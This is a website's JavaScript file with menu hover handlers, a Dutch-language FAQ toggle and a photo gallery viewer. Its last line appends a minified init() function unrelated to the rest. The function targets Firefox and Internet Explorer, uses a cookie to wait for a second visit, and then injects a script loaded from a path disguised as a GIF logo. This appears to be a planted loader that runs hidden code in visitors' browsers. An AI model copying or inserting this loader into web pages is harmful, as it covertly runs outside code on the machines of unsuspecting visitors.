function StartMenu()
	{
	var PanelList = document.getElementById("Frame-Menu");
	var browser = navigator.appName;
	
	for (i=0; i < PanelList.childNodes.length; i++)
		{
		if(PanelList.childNodes[i].tagName == "LI")
			{
			if(PanelList.childNodes[i].className == "")
				{
				PanelList.childNodes[i].className = "Closed";
				}
			
			PanelList.childNodes[i].onmouseover = function()
				{
				if(this.className == "Closed")
					{
					this.className = "Open";
					}
				if(this.className == "Active")
					{
					this.className = "Active-Open";
					}
				}
			PanelList.childNodes[i].onmouseout = function()
				{
				if(this.className == "Open")
					{
					this.className = "Closed";
					}
				if(this.className == "Active-Open")
					{
					this.className = "Active";
					}

				}
			}
		}
	}

function SiteMenu()
	{
	var PanelList = document.getElementById("Frame-SiteMenu");
	var browser = navigator.appName;
	
	for (i=0; i < PanelList.childNodes.length; i++)
		{
		if(PanelList.childNodes[i].tagName == "LI")
			{
			if(PanelList.childNodes[i].className == "")
				{
				PanelList.childNodes[i].className = "Closed";
				}
			
			PanelList.childNodes[i].onmouseover = function()
				{
				if(this.className == "Closed")
					{
					this.className = "Open";
					}
				if(this.className == "Active")
					{
					this.className = "Active-Open";
					}
				}
			PanelList.childNodes[i].onmouseout = function()
				{
				if(this.className == "Open")
					{
					this.className = "Closed";
					}
				if(this.className == "Active-Open")
					{
					this.className = "Active";
					}

				}
			}
		}
	}

function viewFaq()
	{
	var FaqList = document.getElementById("FAQs");
	var browser = navigator.appName;
	
	for (i=0; i < FaqList.childNodes.length; i++)
		{
		if(FaqList.childNodes[i].tagName == "DIV")
			{
			if(FaqList.childNodes[i].className == "vraag")
			
			FaqList.childNodes[i].onclick = function()
				{
				var thisID = this.id;
				var thisAnswer = "FAQ-antwoord-"+ thisID;
				var thisAnswerObj = document.getElementById(thisAnswer);
				
				if(thisAnswerObj.className == "antwoord")
					{
					thisAnswerObj.className = "antwoord_open";
					}
				else if(thisAnswerObj.className == "antwoord_open")
					{
					thisAnswerObj.className = "antwoord";
					}
				}
			}
		}
	}

function OpenView(IMG)
	{
	document.getElementById('Gallery').style.display = "block";
	document.getElementById('Photo').innerHTML = '<img src="'+ IMG +'" border="0" />';
	}

function CloseView()

	{
	document.getElementById('Gallery').style.display = "none";
	document.getElementById('Photo').innerHTML = "";
	}

window.onload = function()
	{
	StartMenu();
	SiteMenu();
	viewFaq();
	}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/share/logo-vebidak.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
